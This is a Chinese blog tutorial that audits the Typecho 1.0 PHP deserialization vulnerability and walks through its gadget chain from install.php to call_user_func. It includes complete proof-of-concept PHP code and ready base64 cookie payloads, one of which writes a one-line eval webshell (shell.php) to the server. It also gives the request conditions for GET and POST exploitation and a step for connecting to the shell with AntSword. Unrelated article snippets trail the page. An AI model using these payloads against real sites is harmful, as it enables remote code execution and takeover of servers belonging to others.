【PHP代码审计】反序列化漏洞实战

文章目录

    • 概述
    • 资源下载地址
    • Typecho代码审计-漏洞原理
        • call_user_func()
        • `_applyFilter()`、get()与__get`
        • __toString()
        • `__construct()`
        • install.php
    • POC利用
    • 漏洞利用复现
      • 利用链
      • 执行phpinfo()
        • GET利用
        • POST利用
      • getshell
        • 生成payload
        • 漏洞利用
        • 蚁剑连接
    • 总结

概述

序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

本篇文章将借助Typechov1.0(14.10.10)环境进行代码审计,最终完成对Typecho的利用与getshell。

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。

经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

资源下载地址

链接:https://pan.baidu.com/s/1S9v2y9NvvUG0KSSPkDG7Mg?pwd=yuan

具体的typechov1.0(14.10.10)靶场环境安装教程这里不再赘述,网上教程很多。

Typecho代码审计-漏洞原理

参考文章:https://www.cnblogs.com/litlife/p/10798061.html

call_user_func()

经过对Typecho的代码审计,在Typecho_Request类中可以发现一个危险函数call_user_func

image-20230905164143684

这个函数是回调函数,里面可以传两个参数,第1个参数表示要调用的函数,第2个参数表示要传给要调用的函数的参数,假设我们传的第1个参数是assert,第2个参数是一个这样的字符串"fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')",就相当于我们执行了这个命令:

assert(fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>'));

这个命令意思就是我们创建并打开一个shell.php文件,并且把<?php phpinfo();@eval(\$_REQUEST[777])?>写入文件。相当于我们写了一个一句话木马文件到目标服务器,从而getshell。

_applyFilter()、get()与__get`

基于对以上危险函数的分析,我们开始寻找利用点

要想完成以上危险函数的利用,就需要确保传入的两个参数是可控的,$filter属于Typecho_Request类的属性,是可以在创建对象的时候控制的,$value_applyFilter函数的参数,所以我们要查找一下哪里调用了_applyFilter函数,于是往上面分析。

经过查找,我们可以在这个Typecho_Request类中看到get()函数里调用了_applyFilter()函数

image-20230905170656515

在这个get()函数中,调用了_applyFilter函数,并且传了参数$value,其中$value是可控的,因为他其实就是当前类的_params数组的一个键为$key的值,所以我们下一步要做的就是控制_params数组的$key,于是我们继续往上找,看看是谁调用了这个get()函数。

image-20230905170835213

经过查找可以发现,__get()函数调用了get()函数,__get()函数是非常特殊的一个函数,叫做魔法函数,当调用一个对象的私有属性的时候,就会默认调用这个魔法函数。因此我们需要找一个地方,看看哪里会用到对象的属性。

__toString()

经过查找,发现在Typecho_Feed类中的这个地方调用了_items数组对象的screenName属性,恰好_items数组是可控的,所以这里可以利用

image-20230905174252265

当我们访问_items数组中的author对应的对象的私有属性screenName的时候,会默认调用这个对象的__get()魔法函数,为了调用上面分析的__get()函数,我们把_items中author对应的对象设置为Typecho_Request对象即可,而且Typecho_Request类中没有screenName属性,也会默认调用Typecho_Request类的__get()函数

在上一步分析中,我们要知道我们分析的代码是在哪个函数中:

image-20230905174542073

如图,是在Typecho_Feed类的__toString()函数中,这也是一个魔法函数,当一个对象与一个字符串进行拼接的时候,这个__toString()函数会被自动调用,所以接下来我们需要看看哪个对象具备和字符串拼接的操作。

__construct()

经过查找,在Typecho_Db类中发现他的构造函数具有一个可控参数与字符串进行拼接

image-20230905175106219

所以可以控制这个参数为一个对象,这个对象就是Typecho_Feed对象,当Typecho_Feed对象与字符串拼接的时候,就会调用这个Typecho_Feed对象的魔法函数__toString()。又因为这个__construct()是默认构造函数,默认构造函数在创建对象的时候会自动调用,所以需要往上分析,看看什么地方具有new这个Typecho_Db对象的条件。

install.php

经过查找,可以在install.php中发现以下代码:

image-20230905180450369

这个代码就new了一个Typecho_Db对象,可以默认调用这个对象的默认构造函数。

根据以上代码分析可知,我们可以控制cookie的__typecho_config键的值,然后反序列化成为一个$config对象,所以$config对象是可控的,在对这个对象的构造完成之后,我们可以序列化这个对象,形成POC,在入口点将POC传入,即可形成利用链。

POC利用

typecho_1.0(14.10.10)_unserialize_fputs.php

<?php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

漏洞利用复现

利用链

反序列化 --> __construct() --> toString() --> __get() --> _applyFilter() --> call_user_func()

执行phpinfo()

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件生成payload,如图:

image-20230905135013906

GET利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中,key为__typecho_config
  4. 需要Referer头:http://10.9.75.168
  5. url中需要参数finish

序列化数据放在cookie中,并且需要Referer校验

/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

这里使用的是hackbar:

image-20230905133727139

也可以用BurpSuit修改请求包:

image-20230905134418589

POST利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中或者body中,key为__typecho_config
  4. 与是否携带Referer头无关
/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

image-20230905133843606

getshell

生成payload

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_fputs.php文件生成payload,如图:

image-20230905155725320

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

特别注意:这里有个奇怪的bug,在上面的代码中,如果创建的php文件的文件名是一个字符,将无法写入,比如a.php,一个字符以上才可以写入,比如1e.php就可以写入,当然我上面的文件名是shell.php,是没有问题的

漏洞利用

image-20230905155601193

蚁剑连接

image-20230905155252415

总结

​ PHP反序列化漏洞主要就是借助魔法函数的自动调用特性,再结合程序中出现的危险函数,形成利用链。在本篇文章中,Typecho反序列化漏洞的利用链就是:反序列化 --> __construct() --> __toString() --> __get() --> _applyFilter() --> call_user_func()。

其中可以看到多处地方调用了魔法函数,最终调用到了危险函数call_user_func()完成利用,至于如何构造对象,就需要分析要形成这条利用链的一些条件了,通常都是根据if else语句来制造利用条件的,比如install.php的入口处:

image-20230905195114428

由以上代码我们可以知道,在发起请求包的时候我们要注意传url参数与referer头,否则无法执行到我们的反序列化入口,导致无法形成利用链

​ 因此,要想借助反序列化漏洞形成利用链,首先就需要对这门语言属性,属性这门语言的危险函数,找到危险函数之后进行反推,往上查找调用链,如果最后可以找到反序列化入口,就可以形成利用链。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/100546.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文讲透【静态脱敏实操】

1&#xff1a;直接上工具类 <dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.16</version> </dependency>2:Hutool 支持的脱敏数据类型 现阶段最新版本的 Hutool 支持的脱敏数据类…

“安全即服务”为网络安全推开一道门

8月30日&#xff0c;三六零&#xff08;下称“360”&#xff09;集团发布了2023年半年报&#xff0c;其中安全业务第二季度收入6.54亿元&#xff0c;同比增长98.76%&#xff0c;环比增长157.16%&#xff0c;安全第二增长曲线已完全成型&#xff01;特别值得一提的是&#xff0c…

javaScript:DOM中常用尺寸

目录 前言&#xff08;可以根据图示找到需要的尺寸&#xff0c;便于理解&#xff09; 内尺寸 clientWidth 包含左右padding和宽度width&#xff08;忽略滚动条的宽度&#xff09; clientHeight 包含上下padding和height&#xff08;忽略滚动条的高度&#xff09; clientTo…

蓝桥杯打卡Day3

文章目录 吃糖果递推数列 一、吃糖果IO链接 本题思路:本题题意就是斐波那契数列&#xff01; #include <bits/stdc.h>typedef uint64_t i64;i64 f(i64 n) {if(n1) return 1;if(n2) return 2;return f(n-1)f(n-2); }signed main() {std::ios::sync_with_stdio(false);s…

Windows11安装配置Git

安装配置Git 1.安装Git1.1下载Git1.2Git的安装1.安装2.安装声明3.安装路径选择4.选择安装组件5.开始菜单文件夹6.选择Git默认编辑器7.决定初始化新项目(仓库)的主干名称8.调整你的path环境变量9.选择SSH执行文件10.配置行尾符号转换11.配置终端模拟器与Git Bash一起使用12.选择…

[VSCode] 替换掉/去掉空行

VSCode中使用快捷键CtrlH&#xff0c;出现替换功能&#xff0c;在上面的“查找”框中输入正则表达式&#xff1a; ^\s*(?\r?$)\n然后选择右侧的“使用正则表达式”&#xff1b;“替换”框内为空&#xff0c;点击右侧的“全部替换”&#xff0c;即可去除所有空行。 参考 [VS…

TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension “.ts“ for xxx

报错信息&#xff1a; 解决方法&#xff1a; 在 package.json 文件中将 【type:“module”】删除

烟感报警器单片机方案开发,解决方案

烟感报警器也叫做烟雾报警器。烟感报警器适用于火灾发生时有大量烟雾&#xff0c;而正常情况下无烟的场所。例如写字楼、医院、学校、博物馆等场所。烟感报警器一般安装于所需要保护或探测区域的天花板上&#xff0c;因火灾中烟雾比空气轻&#xff0c;更容易向上飘散&#xff0…

vue使用wangEditor

vue版本2.0&#xff1b;editor5.1.23版本&#xff1b;editor-for-vue&#xff1a;1.0.2版本 api文档入口 效果图 安装步骤入口 npm install wangeditor/editor --savenpm install wangeditor/editor-for-vue --save代码 <template><div><div style"bor…

JVM基础面试题

JDK、JRE、JVM的关系 JVM Java虚拟机&#xff0c;它只识别.class类型文件&#xff0c;它能将class文件中的字节码指令进行识别并调用操作系统向上的API完成动作。 JRE Java运行时环境。它主要包含两部分&#xff1a;Jvm的标准实现和Java的一些基本类库。相对于JVM来说,JRE多出来…

freertos之资源管理

中断屏蔽 屏蔽中断函数 在任务中使用 taskENTER_CRITICA()/taskEXIT_CRITICAL() 在中断中使用 taskENTER_CRITICAL_FROM_ISR()/taskEXIT_CRITICAL_FROM_ISR() 功能介绍 使用上述函数&#xff0c;进入临界中断&#xff0c;任务不会切换&#xff0c;且中断优先级处于con…

科技成果鉴定测试报告一般包含哪些测试内容?

软件测评报告 一、科技成果评价是需要做第三方软件测评报告&#xff0c;一般是证明技术指标点是否完善&#xff0c;覆盖主要申报内容&#xff0c;应用软件项目科技成果鉴定测试内容&#xff1a; &#xff08;一&#xff09;是否完成合同或计划任务书要求的指标&#xff1b; …